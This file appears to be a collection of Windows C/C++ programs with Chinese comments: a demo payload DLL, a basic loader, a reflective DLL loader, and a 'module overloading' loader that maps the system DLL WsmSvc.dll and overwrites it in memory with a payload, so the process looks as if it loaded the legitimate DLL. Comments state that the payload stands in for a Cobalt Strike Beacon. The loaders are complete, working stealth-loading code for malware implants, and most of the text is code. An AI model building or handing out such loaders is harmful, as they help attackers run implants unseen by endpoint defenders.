#include <windows.h>
#include <stdio.h>

// 这个程序模拟了我们要“重载”的恶意载荷（Payload）
// 在真实的攻击中，这就是Cobalt Strike Beacon的DLL
// 这里我们写一个简单的弹窗DLL来演示

BOOL APIENTRY DllMain(HMODULE hModule, DWORD  ul_reason_for_call, LPVOID lpReserved)
{
    switch (ul_reason_for_call)
    {
    case DLL_PROCESS_ATTACH:
        MessageBoxA(NULL, "Hello from the Overloaded Module! (Payload DLL Executed)", "Success", MB_OK | MB_ICONINFORMATION);
        break;
    case DLL_THREAD_ATTACH:
    case DLL_THREAD_DETACH:
    case DLL_PROCESS_DETACH:
        break;
    }
    return TRUE;
}

#include <windows.h>
#include <iostream>
#include <string>

int main(int argc, char* argv[])
{
    // 默认 DLL 文件名（可修改为你的实际文件名）
    std::string dllPath = "payload.dll";

    // 如果命令行提供了路径，则使用第一个参数
    if (argc >= 2)
    {
        dllPath = argv[1];
    }

    std::cout << "[Loader] Trying to load DLL: " << dllPath << std::endl;

    // 加载 DLL – 这会自动调用 DllMain 并执行 DLL_PROCESS_ATTACH 代码
    HMODULE hModule = LoadLibraryA(dllPath.c_str());

    if (hModule == NULL)
    {
        DWORD err = GetLastError();
        std::cerr << "[Loader] Failed to load DLL. Error code: " << err << std::endl;
        std::cerr << "[Loader] Press Enter to exit..." << std::endl;
        std::cin.get();
        return 1;
    }

    std::cout << "[Loader] DLL loaded successfully at 0x" << std::hex << hModule << std::endl;
    std::cout << "[Loader] Press Enter to unload DLL and exit..." << std::endl;
    std::cin.get();

    // 可选：卸载 DLL（会触发 DLL_PROCESS_DETACH）
    FreeLibrary(hModule);
    std::cout << "[Loader] DLL unloaded. Exiting." << std::endl;

    return 0;
}

#include <windows.h>
#include <stdio.h>

// 定义目标DLL的DllMain类型
typedef BOOL (WINAPI *DLLMAIN)(HINSTANCE, DWORD, LPVOID);

// 从磁盘读取文件到内存的辅助函数
BYTE* ReadFileToMemory(const char* filepath, DWORD* outFileSize) {
    HANDLE hFile = CreateFileA(filepath, GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
    if (hFile == INVALID_HANDLE_VALUE) {
        printf("[-] Failed to open file: %s\n", filepath);
        return NULL;
    }

    DWORD fileSize = GetFileSize(hFile, NULL);
    BYTE* buffer = (BYTE*)malloc(fileSize);
    
    DWORD bytesRead;
    if (!ReadFile(hFile, buffer, fileSize, &bytesRead, NULL)) {
        printf("[-] Failed to read file.\n");
        free(buffer);
        CloseHandle(hFile);
        return NULL;
    }

    CloseHandle(hFile);
    if (outFileSize) *outFileSize = fileSize;
    return buffer;
}

// 纯C语言实现的反射式DLL加载核心逻辑
void ReflectiveLoadDLL(BYTE* rawDllData) {
    // 1. 解析PE头部
    PIMAGE_DOS_HEADER dosHeader = (PIMAGE_DOS_HEADER)rawDllData;
    if (dosHeader->e_magic != IMAGE_DOS_SIGNATURE) {
        printf("[-] Invalid DOS signature.\n");
        return;
    }

    PIMAGE_NT_HEADERS ntHeaders = (PIMAGE_NT_HEADERS)(rawDllData + dosHeader->e_lfanew);
    if (ntHeaders->Signature != IMAGE_NT_SIGNATURE) {
        printf("[-] Invalid NT signature.\n");
        return;
    }

    // 2. 为DLL分配内存 (这里直接用正常的VirtualAlloc，不像PIC那样需要动态解析API)
    printf("[*] Allocating memory for DLL image (Size: 0x%X)...\n", ntHeaders->OptionalHeader.SizeOfImage);
    BYTE* dllBase = (BYTE*)VirtualAlloc(NULL, ntHeaders->OptionalHeader.SizeOfImage, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
    if (!dllBase) {
        printf("[-] VirtualAlloc failed.\n");
        return;
    }
    printf("[+] Memory allocated at: %p\n", dllBase);

    // 3. 复制PE头和所有的节(Sections)
    printf("[*] Copying headers and sections...\n");
    // 复制头部
    memcpy(dllBase, rawDllData, ntHeaders->OptionalHeader.SizeOfHeaders);
    
    // 复制每一个节
    PIMAGE_SECTION_HEADER sectionHeader = IMAGE_FIRST_SECTION(ntHeaders);
    for (int i = 0; i < ntHeaders->FileHeader.NumberOfSections; i++) {
        if (sectionHeader[i].SizeOfRawData > 0) {
            BYTE* dest = dllBase + sectionHeader[i].VirtualAddress;
            BYTE* src = rawDllData + sectionHeader[i].PointerToRawData;
            memcpy(dest, src, sectionHeader[i].SizeOfRawData);
        }
    }

    // 4. 处理导入表 (Import Table) - 极其重要的一步
    printf("[*] Resolving Import Address Table (IAT)...\n");
    IMAGE_DATA_DIRECTORY* importDir = &ntHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT];
    if (importDir->Size > 0) {
        PIMAGE_IMPORT_DESCRIPTOR importDesc = (PIMAGE_IMPORT_DESCRIPTOR)(dllBase + importDir->VirtualAddress);
        
        while (importDesc->Name) {
            // 加载依赖的DLL (例如 kernel32.dll, user32.dll)
            char* moduleName = (char*)(dllBase + importDesc->Name);
            HMODULE hModule = LoadLibraryA(moduleName);
            printf("    -> Loading dependency: %s at %p\n", moduleName, hModule);

            PIMAGE_THUNK_DATA origFirstThunk = (PIMAGE_THUNK_DATA)(dllBase + importDesc->OriginalFirstThunk);
            PIMAGE_THUNK_DATA firstThunk = (PIMAGE_THUNK_DATA)(dllBase + importDesc->FirstThunk);

            if (!origFirstThunk) {
                origFirstThunk = firstThunk;
            }

            // 遍历并解析每一个函数
            while (origFirstThunk->u1.AddressOfData) {
                FARPROC functionAddress = NULL;

                if (IMAGE_SNAP_BY_ORDINAL(origFirstThunk->u1.Ordinal)) {
                    // 按序号导入
                    functionAddress = GetProcAddress(hModule, (LPCSTR)IMAGE_ORDINAL(origFirstThunk->u1.Ordinal));
                } else {
                    // 按名称导入
                    PIMAGE_IMPORT_BY_NAME importByName = (PIMAGE_IMPORT_BY_NAME)(dllBase + origFirstThunk->u1.AddressOfData);
                    functionAddress = GetProcAddress(hModule, (LPCSTR)importByName->Name);
                }

                // 将解析到的真实地址填入 IAT
                firstThunk->u1.Function = (ULONGLONG)functionAddress;

                origFirstThunk++;
                firstThunk++;
            }
            importDesc++;
        }
    }

    // 5. 处理重定位表 (Base Relocation Table)
    printf("[*] Processing Relocations...\n");
    // 计算当前加载的基址和DLL默认基址的差值 (Delta)
    ULONG_PTR delta = (ULONG_PTR)dllBase - ntHeaders->OptionalHeader.ImageBase;
    
    if (delta != 0) {
        IMAGE_DATA_DIRECTORY* relocDir = &ntHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC];
        if (relocDir->Size > 0) {
            PIMAGE_BASE_RELOCATION relocBlock = (PIMAGE_BASE_RELOCATION)(dllBase + relocDir->VirtualAddress);
            
            while (relocBlock->VirtualAddress) {
                DWORD numEntries = (relocBlock->SizeOfBlock - sizeof(IMAGE_BASE_RELOCATION)) / sizeof(WORD);
                WORD* relocEntry = (WORD*)((BYTE*)relocBlock + sizeof(IMAGE_BASE_RELOCATION));

                for (DWORD i = 0; i < numEntries; i++) {
                    if (relocEntry[i] >> 12 == IMAGE_REL_BASED_DIR64) {
                        // 对于64位DLL，修改绝对地址
                        ULONG_PTR* patchAddr = (ULONG_PTR*)(dllBase + relocBlock->VirtualAddress + (relocEntry[i] & 0xFFF));
                        *patchAddr += delta;
                    }
                }
                // 移动到下一个重定位块
                relocBlock = (PIMAGE_BASE_RELOCATION)((BYTE*)relocBlock + relocBlock->SizeOfBlock);
            }
        }
    } else {
        printf("    -> Loaded at preferred base address, no relocations needed.\n");
    }

    // 6. 执行 DLL 的入口点 (DllMain)
    printf("[*] Executing DllMain...\n");
    if (ntHeaders->OptionalHeader.AddressOfEntryPoint) {
        DLLMAIN entryPoint = (DLLMAIN)(dllBase + ntHeaders->OptionalHeader.AddressOfEntryPoint);
        printf("    -> Entry Point Address: %p\n", entryPoint);
        
        // 调用 DllMain，传入 DLL_PROCESS_ATTACH
        entryPoint((HINSTANCE)dllBase, DLL_PROCESS_ATTACH, NULL);
        printf("[+] DllMain executed successfully!\n");
    } else {
        printf("[-] No entry point found in DLL.\n");
    }
}

int main(int argc, char* argv[]) {
    if (argc < 2) {
        printf("Usage: pure_c_loader.exe <path_to_dll>\n");
        return 1;
    }

    printf("================================================\n");
    printf("   Pure C Reflective DLL Loader (Non-PIC)\n");
    printf("================================================\n\n");

    DWORD fileSize = 0;
    BYTE* dllData = ReadFileToMemory(argv[1], &fileSize);
    
    if (dllData) {
        printf("[*] Successfully read %lu bytes from %s\n", fileSize, argv[1]);
        // 开始在内存中手动装载DLL
        ReflectiveLoadDLL(dllData);
        free(dllData);
    }

    printf("\n[*] Done. Press Enter to exit...\n");
    getchar();
    return 0;
}

#include <windows.h>
#include <stdio.h>
#include <winternl.h>

// 补充 MSVC <winternl.h> 中缺失的枚举定义
typedef enum _SECTION_INHERIT {
    ViewShare = 1,
    ViewUnmap = 2
} SECTION_INHERIT;

#pragma comment(lib, "ntdll")

// -------------------------------------------------------------
// 模块重载 (Module Overloading) 核心原理演示
// -------------------------------------------------------------

// NTDLL API 声明
EXTERN_C NTSTATUS NTAPI NtCreateSection(
    OUT PHANDLE SectionHandle,
    IN ACCESS_MASK DesiredAccess,
    IN POBJECT_ATTRIBUTES ObjectAttributes OPTIONAL,
    IN PLARGE_INTEGER MaximumSize OPTIONAL,
    IN ULONG SectionPageProtection,
    IN ULONG AllocationAttributes,
    IN HANDLE FileHandle OPTIONAL
);

EXTERN_C NTSTATUS NTAPI NtMapViewOfSection(
    IN HANDLE SectionHandle,
    IN HANDLE ProcessHandle,
    IN OUT PVOID* BaseAddress,
    IN ULONG_PTR ZeroBits,
    IN SIZE_T CommitSize,
    IN OUT PLARGE_INTEGER SectionOffset OPTIONAL,
    IN OUT PSIZE_T ViewSize,
    IN SECTION_INHERIT InheritDisposition,
    IN ULONG AllocationType,
    IN ULONG Win32Protect
);

EXTERN_C NTSTATUS NTAPI NtClose(
    IN HANDLE Handle
);

// 辅助函数：从磁盘读取文件到内存
PBYTE ReadFileToMemory(LPCWSTR filePath, PDWORD fileSize) {
    HANDLE hFile = CreateFileW(filePath, GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, 0, NULL);
    if (hFile == INVALID_HANDLE_VALUE) {
        printf("[-] Failed to open file %ls\n", filePath);
        return NULL;
    }
    *fileSize = GetFileSize(hFile, NULL);
    PBYTE buffer = (PBYTE)VirtualAlloc(NULL, *fileSize, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
    DWORD bytesRead;
    ReadFile(hFile, buffer, *fileSize, &bytesRead, NULL);
    CloseHandle(hFile);
    return buffer;
}

// ------------------------------------------------------------------
// 基址重定位 (Base Relocation)
// ------------------------------------------------------------------
void PerformBaseRelocation(PVOID imageBase, PVOID payloadBuffer, PIMAGE_NT_HEADERS ntHeaders) {
    // 只有在加载地址与原始预期的 ImageBase 不同时才需要重定位
    ULONG_PTR delta = (ULONG_PTR)imageBase - ntHeaders->OptionalHeader.ImageBase;
    if (delta == 0) return;

    printf("[*] Performing Base Relocation (Delta: 0x%p)...\n", (PVOID)delta);

    IMAGE_DATA_DIRECTORY relocDir = ntHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC];
    if (relocDir.Size == 0 || relocDir.VirtualAddress == 0) {
        printf("[!] No Relocation table found.\n");
        return;
    }

    PIMAGE_BASE_RELOCATION pRelocation = (PIMAGE_BASE_RELOCATION)((ULONG_PTR)imageBase + relocDir.VirtualAddress);

    // 增加安全检查：确保 pRelocation 在有效范围内
    while (pRelocation->VirtualAddress != 0 && pRelocation->SizeOfBlock >= sizeof(IMAGE_BASE_RELOCATION)) {
        DWORD count = (pRelocation->SizeOfBlock - sizeof(IMAGE_BASE_RELOCATION)) / sizeof(WORD);
        PWORD pRelocData = (PWORD)((ULONG_PTR)pRelocation + sizeof(IMAGE_BASE_RELOCATION));

        for (DWORD i = 0; i < count; i++) {
            WORD type = pRelocData[i] >> 12; // 高 4 位是类型
            WORD offset = pRelocData[i] & 0x0FFF; // 低 12 位是偏移

            if (type == IMAGE_REL_BASED_DIR64) {
                // 64 位指针的重定位
                PULONG_PTR target = (PULONG_PTR)((ULONG_PTR)imageBase + pRelocation->VirtualAddress + offset);
                *target += delta;
            }
            else if (type == IMAGE_REL_BASED_HIGHLOW) {
                // 32 位指针的重定位
                PDWORD target = (PDWORD)((ULONG_PTR)imageBase + pRelocation->VirtualAddress + offset);
                *target += (DWORD)delta;
            }
        }
        // 移动到下一个块
        pRelocation = (PIMAGE_BASE_RELOCATION)((ULONG_PTR)pRelocation + pRelocation->SizeOfBlock);
    }
    printf("[+] Base Relocation finished.\n");
}

// ------------------------------------------------------------------
// 解析并加载导入表 (Import Address Table - IAT)
// ------------------------------------------------------------------
void ResolveImportTable(PVOID imageBase, PIMAGE_NT_HEADERS ntHeaders) {
    printf("[*] Resolving Import Table (IAT)...\n");

    IMAGE_DATA_DIRECTORY importDir = ntHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT];
    if (importDir.Size == 0 || importDir.VirtualAddress == 0) {
        printf("[!] No Import table found.\n");
        return;
    }

    PIMAGE_IMPORT_DESCRIPTOR pImportDesc = (PIMAGE_IMPORT_DESCRIPTOR)((ULONG_PTR)imageBase + importDir.VirtualAddress);

    // 遍历每一个被导入的 DLL
    while (pImportDesc->Name != 0) {
        LPCSTR dllName = (LPCSTR)((ULONG_PTR)imageBase + pImportDesc->Name);
        HMODULE hModule = LoadLibraryA(dllName);
        if (!hModule) {
            printf("[-] Failed to load dependency DLL: %s\n", dllName);
            continue;
        }

        // 修复：在某些编译器生成的 DLL 中，OriginalFirstThunk 可能为空，
        // 此时需要使用 FirstThunk。
        DWORD thunkRva = pImportDesc->OriginalFirstThunk;
        if (thunkRva == 0) {
            thunkRva = pImportDesc->FirstThunk;
        }

        PIMAGE_THUNK_DATA pThunkOriginal = (PIMAGE_THUNK_DATA)((ULONG_PTR)imageBase + thunkRva); // INT
        PIMAGE_THUNK_DATA pThunkIAT = (PIMAGE_THUNK_DATA)((ULONG_PTR)imageBase + pImportDesc->FirstThunk);             // IAT

        while (pThunkOriginal->u1.AddressOfData != 0) {
            FARPROC functionAddress = NULL;

            // 判断是按序号 (Ordinal) 导入还是按名称 (Name) 导入
            if (IMAGE_SNAP_BY_ORDINAL(pThunkOriginal->u1.Ordinal)) {
                // 序号导入
                LPCSTR ordinal = (LPCSTR)(pThunkOriginal->u1.Ordinal & 0xFFFF);
                functionAddress = GetProcAddress(hModule, ordinal);
            }
            else {
                // 名称导入
                // 注意：在内存映射状态下，AddressOfData 可能是一个相对虚拟地址 (RVA)
                // 或者是已经加载好 DLL 中的绝对地址（这取决于 DLL 的编译方式）。
                // 为了安全起见，从 payload 缓冲区读取实际的名称字符串：
                DWORD nameRva = (DWORD)(pThunkOriginal->u1.AddressOfData);
                if (nameRva != 0) {
                    PIMAGE_IMPORT_BY_NAME pImportByName = (PIMAGE_IMPORT_BY_NAME)((ULONG_PTR)imageBase + nameRva);
                    functionAddress = GetProcAddress(hModule, (LPCSTR)pImportByName->Name);
                }
            }

            if (functionAddress) {
                // 覆写 IAT 里的值，将其改为在当前进程中的真实函数地址
                pThunkIAT->u1.Function = (ULONG_PTR)functionAddress;
            }
            else {
                printf("[-] Failed to resolve import function in %s\n", dllName);
            }

            pThunkOriginal++;
            pThunkIAT++;
        }
        pImportDesc++;
    }
    printf("[+] Import Table resolved.\n");
}


int wmain(int argc, wchar_t* argv[]) {
    printf("[*] Module Overloading Demonstration (Advanced Version)\n");
    printf("[*] By: Copilot Code Pro\n\n");

    if (argc < 2) {
        printf("[!] Usage: %ls <path_to_payload.dll>\n", argv[0]);
        printf("    Example: %ls payload.dll\n", argv[0]);
        return 1;
    }

    // 1. 读取命令行提供的 Payload DLL
    LPCWSTR payloadPath = argv[1];
    DWORD payloadSize = 0;
    PBYTE payloadBuffer = ReadFileToMemory(payloadPath, &payloadSize);
    if (!payloadBuffer) {
        return 1;
    }
    printf("[+] Payload (%ls) read into memory at %p (Size: %u bytes)\n", payloadPath, payloadBuffer, payloadSize);

    // 2. 选择一个合法的系统 DLL 作为“牺牲品” (Sacrificial DLL)
    LPCWSTR sacrificialDllPath = L"C:\\Windows\\System32\\WsmSvc.dll";
    printf("[*] Target Sacrificial DLL: %ls\n", sacrificialDllPath);

    // 3. 开始执行模块重载核心步骤：加载牺牲 DLL (SEC_IMAGE)
    // --------------------------------------------------------
    HANDLE hFile = CreateFileW(sacrificialDllPath, GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, 0, NULL);
    if (hFile == INVALID_HANDLE_VALUE) {
        printf("[-] Failed to open sacrificial DLL.\n");
        return 1;
    }

    HANDLE hSection = NULL;
    NTSTATUS status = NtCreateSection(&hSection, SECTION_ALL_ACCESS, NULL, NULL, PAGE_READONLY, SEC_IMAGE, hFile);
    CloseHandle(hFile);
    if (status != 0) {
        printf("[-] NtCreateSection failed with status: 0x%X\n", status);
        return 1;
    }

    PVOID mappedAddress = NULL;
    SIZE_T viewSize = 0;
    status = NtMapViewOfSection(hSection, (HANDLE)-1, &mappedAddress, 0, 0, NULL, &viewSize, ViewShare, 0, PAGE_READWRITE);
    NtClose(hSection);

    if (status != 0) {
        printf("[-] NtMapViewOfSection failed with status: 0x%X\n", status);
        return 1;
    }
    printf("[+] Sacrificial DLL mapped (SEC_IMAGE) at %p\n", mappedAddress);

    // 获取 Payload 的 PE 头信息
    PIMAGE_DOS_HEADER dosHeader = (PIMAGE_DOS_HEADER)payloadBuffer;
    PIMAGE_NT_HEADERS ntHeaders = (PIMAGE_NT_HEADERS)(payloadBuffer + dosHeader->e_lfanew);

    // 获取牺牲 DLL 的 PE 头信息
    PIMAGE_DOS_HEADER targetDos = (PIMAGE_DOS_HEADER)mappedAddress;
    PIMAGE_NT_HEADERS targetNt = (PIMAGE_NT_HEADERS)((PBYTE)mappedAddress + targetDos->e_lfanew);

    // 检查架构匹配
    if (ntHeaders->FileHeader.Machine != targetNt->FileHeader.Machine) {
        printf("[-] Error: Architecture mismatch.\n");
        return 1;
    }

    // 4.1 确认牺牲 DLL 的空间是否足够大！
    // --------------------------------------------------------
    if (targetNt->OptionalHeader.SizeOfImage < ntHeaders->OptionalHeader.SizeOfImage) {
        printf("[-] Error: Sacrificial DLL is too small! (Target Size: %u, Payload Size: %u)\n",
            targetNt->OptionalHeader.SizeOfImage, ntHeaders->OptionalHeader.SizeOfImage);
        printf("    Please choose a larger sacrificial DLL.\n");
        return 1;
    }
    printf("[+] Size check passed. Target Size: %u, Payload Size: %u\n",
        targetNt->OptionalHeader.SizeOfImage, ntHeaders->OptionalHeader.SizeOfImage);

    // 4.2 逐个走动牺牲 DLL 的部分表，并逐个解除保护 (PAGE_READWRITE)
    // --------------------------------------------------------
    printf("[*] Making sacrificial memory sections writable...\n");
    PIMAGE_SECTION_HEADER targetSection = IMAGE_FIRST_SECTION(targetNt);
    DWORD oldProtect;

    // 修改整个 Image 大小的权限，而不仅是 header
    VirtualProtect(mappedAddress, targetNt->OptionalHeader.SizeOfImage, PAGE_READWRITE, &oldProtect);

    // 4.3 内存可写时，先将整个目标区域归零！
    // --------------------------------------------------------
    // 这确保了信标的 BSS 全局值从零开始，而不是继承原 DLL 在这些位置的值。
    printf("[*] Zeroing out the sacrificial memory...\n");
    memset(mappedAddress, 0, targetNt->OptionalHeader.SizeOfImage);


    // 5. 覆盖内存！(复制 Header 和 Sections)
    // --------------------------------------------------------
    printf("[*] Overwriting sacrificial memory with payload headers...\n");

    DWORD sizeOfHeaders = ntHeaders->OptionalHeader.SizeOfHeaders;
    if (sizeOfHeaders > payloadSize) sizeOfHeaders = payloadSize;
    memcpy(mappedAddress, payloadBuffer, sizeOfHeaders);

    printf("[*] Copying payload sections...\n");
    PIMAGE_SECTION_HEADER sectionHeader = IMAGE_FIRST_SECTION(ntHeaders);
    for (int i = 0; i < ntHeaders->FileHeader.NumberOfSections; i++) {
        if (sectionHeader[i].SizeOfRawData > 0) {
            PVOID dest = (PVOID)((ULONG_PTR)mappedAddress + sectionHeader[i].VirtualAddress);
            PVOID src = (PVOID)(payloadBuffer + sectionHeader[i].PointerToRawData);
            memcpy(dest, src, sectionHeader[i].SizeOfRawData);
        }
    }

    // 6. 执行基址重定位和修复导入表！
    // --------------------------------------------------------
    printf("[*] Trying to perform Base Relocation...\n");
    __try {
        PerformBaseRelocation(mappedAddress, payloadBuffer, ntHeaders);
    }
    __except (EXCEPTION_EXECUTE_HANDLER) {
        printf("[-] Exception caught during Base Relocation!\n");
    }

    printf("[*] Trying to resolve Import Table...\n");
    __try {
        ResolveImportTable(mappedAddress, ntHeaders);
    }
    __except (EXCEPTION_EXECUTE_HANDLER) {
        printf("[-] Exception caught during Import Table resolution!\n");
    }


    // 7. 注册异常处理表 (.pdata) - 极其重要！
    // --------------------------------------------------------
    IMAGE_DATA_DIRECTORY exceptionDir = ntHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXCEPTION];
    if (exceptionDir.Size > 0 && exceptionDir.VirtualAddress > 0) {
        PIMAGE_RUNTIME_FUNCTION_ENTRY pExceptionTable = (PIMAGE_RUNTIME_FUNCTION_ENTRY)((ULONG_PTR)mappedAddress + exceptionDir.VirtualAddress);
        DWORD exceptionCount = exceptionDir.Size / sizeof(IMAGE_RUNTIME_FUNCTION_ENTRY);
        if (RtlAddFunctionTable(pExceptionTable, exceptionCount, (DWORD64)mappedAddress)) {
            printf("[+] Exception table (.pdata) registered successfully.\n");
        }
        else {
            printf("[-] Failed to register exception table.\n");
        }
    }

    // 8. 修复内存权限 (按节区特性应用正确的权限)
    // --------------------------------------------------------
    printf("[*] Fixing section permissions...\n");
    for (int i = 0; i < ntHeaders->FileHeader.NumberOfSections; i++) {
        PVOID sectionAddress = (PVOID)((ULONG_PTR)mappedAddress + sectionHeader[i].VirtualAddress);
        DWORD sectionSize = sectionHeader[i].Misc.VirtualSize;
        DWORD characteristics = sectionHeader[i].Characteristics;
        DWORD protect = PAGE_NOACCESS;

        if (characteristics & IMAGE_SCN_MEM_EXECUTE) {
            if (characteristics & IMAGE_SCN_MEM_READ) {
                if (characteristics & IMAGE_SCN_MEM_WRITE) protect = PAGE_EXECUTE_READWRITE;
                else protect = PAGE_EXECUTE_READ;
            }
            else if (characteristics & IMAGE_SCN_MEM_WRITE) {
                protect = PAGE_EXECUTE_WRITECOPY;
            }
            else {
                protect = PAGE_EXECUTE;
            }
        }
        else {
            if (characteristics & IMAGE_SCN_MEM_READ) {
                if (characteristics & IMAGE_SCN_MEM_WRITE) protect = PAGE_READWRITE;
                else protect = PAGE_READONLY;
            }
            else if (characteristics & IMAGE_SCN_MEM_WRITE) {
                protect = PAGE_WRITECOPY;
            }
        }

        VirtualProtect(sectionAddress, sectionSize, protect, &oldProtect);
    }

    // 9. 保护头部 (将 PE 头设为只读)
    // --------------------------------------------------------
    printf("[*] Protecting headers (PAGE_READONLY)...\n");
    VirtualProtect(mappedAddress, ntHeaders->OptionalHeader.SizeOfHeaders, PAGE_READONLY, &oldProtect);

    // 找到我们 Payload 的 DllMain 地址
    DWORD entryPointRva = ntHeaders->OptionalHeader.AddressOfEntryPoint;
    typedef BOOL(WINAPI* DllMain_t)(HINSTANCE, DWORD, LPVOID);
    DllMain_t entryPoint = (DllMain_t)((ULONG_PTR)mappedAddress + entryPointRva);

    if (entryPointRva != 0) {
        printf("[+] Executing hijacked payload entry point at %p!\n", entryPoint);

        // 修复：在调用入口点之前，必须确保依赖的 DLL (如 user32.dll) 已经被加载到进程中。
        // 虽然我们在 ResolveImportTable 中调用了 LoadLibraryA，但为了保险起见，
        // 我们在这里显式加载 user32.dll，因为 MessageBoxA 依赖它。
        LoadLibraryA("user32.dll");

        // 调用 DllMain (DLL_PROCESS_ATTACH)
        __try {
            BOOL result = entryPoint((HINSTANCE)mappedAddress, DLL_PROCESS_ATTACH, NULL);
            printf("[*] Entry point returned: %d\n", result);
        }
        __except (EXCEPTION_EXECUTE_HANDLER) {
            printf("[-] Exception caught during payload execution! Code: 0x%X\n", GetExceptionCode());
            printf("    [!] This is usually because MSVC's CRT initialization (_DllMainCRTStartup) fails\n");
            printf("        when a DLL is manually mapped and not registered in the PEB.\n");
        }
    }
    else {
        printf("[!] Payload has no entry point.\n");
    }

    printf("[+] Demonstration complete. The process looks like it loaded WsmSvc.dll, but ran our payload!\n");
    getchar(); // 暂停，方便你用 Process Hacker 观察
    return 0;
}